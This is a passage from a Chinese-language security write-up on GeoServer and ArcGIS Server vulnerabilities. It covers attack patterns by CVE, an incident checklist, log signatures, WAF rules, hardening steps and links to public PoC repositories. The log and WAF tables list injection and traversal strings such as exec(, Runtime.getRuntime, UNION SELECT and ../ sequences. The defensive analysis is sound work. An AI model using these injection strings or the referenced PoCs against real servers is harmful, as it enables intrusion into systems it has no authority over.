  3. 漏洞验证: 按照 CVSS 从高到低的顺序逐个验证,优先验证 RCE 类漏洞(CVE-2024-36401 > CVE-2022-24816 > CVE-2023-25157),然后验证 SSRF/XXE 类漏洞

  4. 安全执行: 所有 PoC 验证应在不影响目标服务可用性的前提下进行,避免执行破坏性命令(如 rm -rf),RCE 验证优先使用 idwhoamihostname 等只读命令


0x04 共性攻击模式分析

模式一:OGC 协议滥用模式

OGC 标准协议(WFS、WMS、WCS、WPS)是地理空间平台最核心的攻击面。OGC Filter Encoding 使用 XML 格式描述查询条件,其中包含属性名、比较运算符和值等用户可控字段。GeoServer 在处理这些字段时,将其传递给底层 Java 库(如 JXPath、JTS、GeoTools)进行表达式求值或 SQL 转换,但缺乏统一的安全过滤层。

代表 CVE: CVE-2024-36401(XPath 注入)、CVE-2023-25157(SQL 注入)

核心问题: OGC 协议的 XML 结构天然支持嵌套表达式和函数调用语义,而 GeoServer 的处理逻辑将协议解析和业务逻辑混合在一起,缺乏对用户输入的语义级验证。

模式二:路径穿越→配置文件覆写模式

ArcGIS Server 和类似平台在处理文件路径时,未充分防御目录遍历攻击。攻击者通过 ../ 序列穿越目录边界,读取或覆写服务器配置文件,进而获取管理员凭据或植入恶意代码。

代表 CVE: CVE-2026-9181(ArcGIS 目录遍历)

核心问题: REST API 的路径参数直接映射到文件系统操作,缺乏路径规范化(Canonicalization)和沙箱隔离。

模式三:未授权 API 端点暴露模式

地理空间平台通常包含管理 API、调试 API 和服务测试 API 等内部端点。这些端点在设计时可能用于开发调试或内部运维,但在生产部署时未被禁用或添加认证保护。

代表 CVE: CVE-2024-29198(TestWfsPost SSRF)、CVE-2026-13019(Portal 未授权 API)

核心问题: 默认配置过于宽松,缺乏 API 端点的访问控制清单和自动化安全扫描。

模式四:第三方库不安全反序列化/注入模式

地理空间平台高度依赖第三方 Java 库(GeoTools、commons-jxpath、JTS、Jackson 等),这些库在设计时可能未充分考虑 Web 场景下的安全威胁。当平台将用户输入直接传递给这些库时,可能触发库内部的代码执行、表达式求值或反序列化漏洞。

代表 CVE: CVE-2024-36401(JXPath)、CVE-2022-24816(Jiffle)

核心问题: 对第三方库的信任边界不清晰,缺乏对库调用的安全包装和输入消毒。

模式五:硬编码凭据与默认配置滥用模式

部分地理空间平台在部署时包含硬编码凭据、默认密码或未配置的认证机制。这些设计缺陷在企业环境中尤为危险,因为攻击者无需任何漏洞利用即可获取高权限访问。

代表 CVE: CVE-2025-2538(硬编码凭据)、CVE-2026-13019(未授权 API)

核心问题: 安全开发生命周期(SDL)缺失,缺乏对凭据管理和默认配置的安全审计。


0x05 应急排查与防守建议

紧急排查清单

针对部署了 GeoServer 或 ArcGIS Server 的环境,立即执行以下排查:

检查项操作方法风险等级
GeoServer 版本确认访问 /geoserver/web/wicket/page/geoserver/rest/about/version
ArcGIS Server 版本确认访问 /arcgis/rest/info 并检查 currentVersion
OGC XPath 注入检测检查 WFS/WMS 请求日志中是否包含 exec(Runtime 等关键词严重
SQL 注入痕迹检查数据库慢查询日志中是否包含 OGC Filter 相关的异常 SQL严重
未授权文件上传检查 ArcGIS Server 数据目录中是否存在异常文件严重
硬编码凭据检查审查 Portal for ArcGIS 配置文件中的服务账户凭据严重
SSRF 日志分析检查 GeoServer 日志中是否有到 169.254.x.x 等内部地址的请求
XXE 尝试检测检查请求日志中 XML 文档是否包含 <!DOCTYPE<!ENTITY 声明

日志关键字段表

日志源关键字段/模式说明
GeoServer log4j2exec(, Runtime.getRuntimeXPath 注入尝试
GeoServer log4j2OR 1=1, UNION SELECT, UNION ALLSQL 注入尝试
GeoServer access.log/geoserver/web/wfs/testSSRF 测试
Apache/Nginx access.log../, %2e%2e%2f, ..\\目录遍历尝试
ArcGIS Server logsimportData, addContent文件上传操作
PostgreSQL/MySQL slow.logsf:archsites, PropertyIsLikeOGC Filter 相关查询
Windows Event Log硬编码账户名登录事件凭据滥用

紧急缓解措施

立即执行(24 小时内)

  1. 升级 GeoServer: 将 GeoServer 升级到最新稳定版(2.25.2+ 或 2.27.1+),这是最根本的修复措施

  2. 临时移除 JXPath 依赖: 如果无法立即升级,可从 GeoServer 的 WEB-INF/lib/ 目录中删除 gt-complex-x.y.jar,此操作可阻断 CVE-2024-36401 的利用路径,但可能影响部分 WFS 功能

  3. WAF 规则部署: 在反向代理/WAF 层添加以下检测规则:

    • 阻断包含 exec(RuntimegetRuntime 的 OGC 请求
    • 阻断路径参数中包含 ../%2e%2e 的请求
    • 阻断包含 <!DOCTYPE<!ENTITY 的 XML 请求体
  4. 网络隔离: 将 GeoServer 和 ArcGIS Server 部署在内网 DMZ 中,限制其对内网其他系统的访问权限

  5. 禁用不必要的测试端点: 禁用 GeoServer 的 TestWfsPost 端点和调试 API

长期安全加固建议

  1. 最小权限部署: GeoServer 的运行账户应使用专用的低权限服务账户,禁止使用 root 或 Administrator 运行服务

  2. OGC 接口访问控制: 对 WMS、WFS 等 OGC 接口实施 API Key 或 IP 白名单认证,限制公开访问

  3. 数据库账户隔离: 为 GeoServer 的 JDBC 数据源创建专用数据库账户,仅授予必要的 SELECT/INSERT/UPDATE 权限,禁止使用 DBA 或超级用户账户

  4. 定期安全扫描: 使用 Nuclei 对地理空间平台进行定期漏洞扫描,重点关注本专题列出的 CVE

  5. 补丁管理流程: 建立针对地理空间平台的安全补丁管理流程,确保在厂商发布安全更新后 72 小时内完成评估和部署

  6. 日志集中监控: 将 GeoServer 和 ArcGIS Server 的访问日志、应用日志接入 SIEM 系统,配置异常 OGC 请求的实时告警规则

  7. 安全配置基线: 制定地理空间平台的安全配置基线,包括禁用调试端点、限制管理接口访问、强制 HTTPS、配置安全响应头等

  8. 应急响应预案: 制定针对地理空间平台安全事件的应急响应预案,明确漏洞发现、影响评估、紧急修复和事后复盘的流程


0x06 参考资料

  1. NVD - CVE-2024-36401: https://nvd.nist.gov/vuln/detail/CVE-2024-36401
  2. GeoServer Security Advisory GHSA-6jj6-gm7p-fcvv: https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
  3. CISA KEV - GeoServer Vulnerabilities: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  4. NVD - CVE-2023-25157: https://nvd.nist.gov/vuln/detail/CVE-2023-25157
  5. NVD - CVE-2022-24816: https://nvd.nist.gov/vuln/detail/CVE-2022-24816
  6. Synacktiv - GeoServer Jiffle Analysis: https://www.synacktiv.com/en/publications
  7. ESRI Security Advisories: https://www.esri.com/about/newsroom/arcgis/security-advisories/
  8. Nuclei Templates - GeoServer CVEs: https://github.com/projectdiscovery/nuclei-templates
  9. CVE-2023-25157 PoC - Rubikcuv5: https://github.com/Rubikcuv5/CVE-2023-25157
  10. CVE-2023-25157/25158 PoC - murataydemir: https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158
  11. GeoTools Security: https://geotools.org/security.html
  12. OGC Standards Security Considerations: https://www.ogc.org/standards/security

免责声明: 本文所有漏洞分析仅供安全研究与授权测试使用,请勿用于非法目的。未经授权对计算机系统进行渗透测试属于违法行为,本文作者不承担任何因滥用本文内容而产生的法律责任。所有 PoC 代码均已做安全处理,仅用于漏洞检测和验证目的。